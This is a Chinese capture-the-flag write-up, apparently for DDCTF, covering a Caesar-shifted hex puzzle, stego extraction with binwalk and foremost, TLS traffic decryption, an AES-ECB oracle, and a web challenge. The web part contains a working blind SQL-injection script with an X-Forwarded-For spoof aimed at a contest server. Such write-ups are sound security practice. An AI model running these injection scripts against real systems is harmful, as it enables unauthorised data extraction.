flag在公告里面,赛前一天我就知道了23333333...
题目:
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1b2e2e5e2b5b4e4b8b7e6e1e1b6b9e4b5e3b8b1b1e3e5b5b6b4b1b0e4e6b2fd
分析一波:一串类似16进制的形式的字符串,转一下ascii,发现似乎是乱码,脑洞一开,似乎每个数字后面都有一个数字,凯撒按照数字偏移,然后并不是23333333...
然后萌哔了,咋回事,字母大写一下转base16解码看下,发现还是不对。
最后尝试发现还是凯撒,一串16进制字符串,两个两个一位一个字符,然后凯撒偏移。
贴下小jio本:
拿到一张名叫windows.jpg的图片,按照套路,右键打开查看属性,发现注释里面有东西,应该有用。
拿到:Pactera
binwalk分析之后发现里面有zip压缩包。随即binwalk -e提取,但是发现提取出来的压缩包是坏的,无法打开,这里是一个坑,我们随机试试foremost,可以发现提取出来的压缩包没有损坏,不过需要密码,我们刚刚拿到了注释里面的Pactera,试着输入一下,发现正是密码,拿到一个有序无律的文本,貌似有DDCTF的样式,但是并没有flag。
做到这里我没思路了,回去看一下题目,第四扩展FS,莫非是词频分析?
拿小jio本跑一下:
flag格式补充一下D就行了。
打开流量包随便找下后缀
tcp contains ".zip"
发现sqlmap.zip和Fl-g.zip,提取出来发现已经损坏了,对于FTP传输是正常的,然后再找找,发现有几封邮件,在大一点的流里面找到图片。
过滤一下smtp
追踪TCP流
典型的base64转图片,转完发现是类似与RSA公私钥的东西,结合题目的hint,手动补全私钥之后对一下MD5!!!
这里强调一下!!MD5没有一点luan用,浪费我一下午时间找MD5正确的,mmp哦~
拿到私钥之后就可以解ssl流量了。
参考链接:《用Wireshark轻松解密TLS浏览器流量》
解密得flag。
请通过
nc 116.85.48.103 5002
答题,mission key
是2acba569d223cf7d6e48dee88378288a
,agent id
随意填就可以#!/usr/bin/env python import sys import json from Crypto.Cipher import AES from Crypto import Random def get_padding(rawstr): remainder = len(rawstr) % 16 if remainder != 0: return '\x00' * (16 - remainder) return '' def aes_encrypt(key, plaintext): plaintext += get_padding(plaintext) aes = AES.new(key, AES.MODE_ECB) cipher_text = aes.encrypt(plaintext).encode('hex') return cipher_text def generate_hello(key, name, flag): message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag) return aes_encrypt(key, message) def get_input(): return raw_input() def print_output(message): print(message) sys.stdout.flush() def handle(): print_output("Please enter mission key:") mission_key = get_input().rstrip() print_output("Please enter your Agent ID to secure communications:") agentid = get_input().rstrip() rnd = Random.new() session_key = rnd.read(16) flag = '
' print_output(generate_hello(session_key, agentid, flag)) while True: print_output("Please send some messages to be encrypted, 'quit' to exit:") msg = get_input().rstrip() if msg == 'quit': print_output("Bye!") break enc = aes_encrypt(session_key, msg) print_output(enc) if __name__ == "__main__": handle()
我们测试可以发现,明文是16位一组,密文是32位一组.
打入与明文相同的字符时返回相同的密文,而这里是\x00填充的,我们可以使用\x00打过去,爆破明文。
贴我的小jio本:
打扰了,后面的都不会了...
进入之后显示必须123.232.23.245才能访问,XFF一下就过了。然后进入一个表单页面,应该是注入。然后简单测试一下,有waf,弹出警告界面。
f12审查元素,发现两个js代码,一个math.js,一个main.js,math.js定义了一些函数,main.js里面有利用time()算sig的具体过程。
这里安利一个解密js混淆的在线网站:http://jsbeautifier.org/
把main.js里面的混淆代码拉进去解密一下,就能大致明白发生了什么了。
我们在post过去数据之后,自动调用time(),也就是时间戳,sig是根据time生成的,还有key,key在源码中已经给出了。会自动跳转到那个带参数的页面,所以这里极大的限制了burpsuite的使用,因为time()是时间戳,time和sig参数需要每次重新生成。不符合会显示sig error。
这里有多种做法,我根据师傅们在群内交流的思路一一举例。
就注入来说,做法分两大类。
用chromedriver爬取页面js内容和拿参数,然后盲注得flag.
利用谷歌浏览器作为爬虫载体来进行获取参数的操作,需要chromedriver.exe和apache服务开启。
#! /usr/bin/env python3 from time import * from selenium import webdriver from selenium.webdriver.chrome.options import Options import re import requests from selenium.webdriver import ActionChains from selenium.webdriver.common.by import By #按照什么方式查找,By.ID,By.CSS_SELECTOR from selenium.webdriver.common.keys import Keys #键盘按键操作 from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.wait import WebDriverWait #等待页面加载某些元素 chrome_options = Options() # chrome_options.add_argument("--headless") # chrome_options.add_argument("--disable_gpu") chrome_options.binary_location = r"C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe" driver_path = r"chromedriver.exe" def enc_payload(payload): d = webdriver.Chrome( executable_path=driver_path, chrome_options=chrome_options ) d.implicitly_wait(30) d.set_page_load_timeout(30) local = r"D:\phpStudyB\WWW\test.html" tmp = r"D:\phpStudyB\WWW\tmp.html" with open(tmp,"r") as f: content = f.read() % payload with open(local, "w+") as f: f.write(content) sleep(0.2) d.get(local) data = re.search(pattern=r"sig=(.+)###time=(.+) |
", string=d.page_source) print(d.page_source) sig = data.group(1) time = data.group(2) d.close() return sig, time def sqli(): flag = "[*]" for i in range(32, 127): print('number %s...' % i) for s in range(65, 90): author = "admin' && ascii(substr((select secvalue from ctf_key9 limit 1),%s,1))=%s#" % (i, s) # print(author) sig,time = enc_payload(author) data = { "id": "", "title": "", "date": "", "author": author } url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=%s&time=%s" % (sig, time) headers = { "X-Forwarded-For": "123.232.23.245", } try: resp = requests.post(url=url, data=data, headers=headers) if "admin" in resp.text: flag += chr(s) break except Exception as e: print(e) continue print(flag) if __name__ == "__main__": sqli()
//test.html
|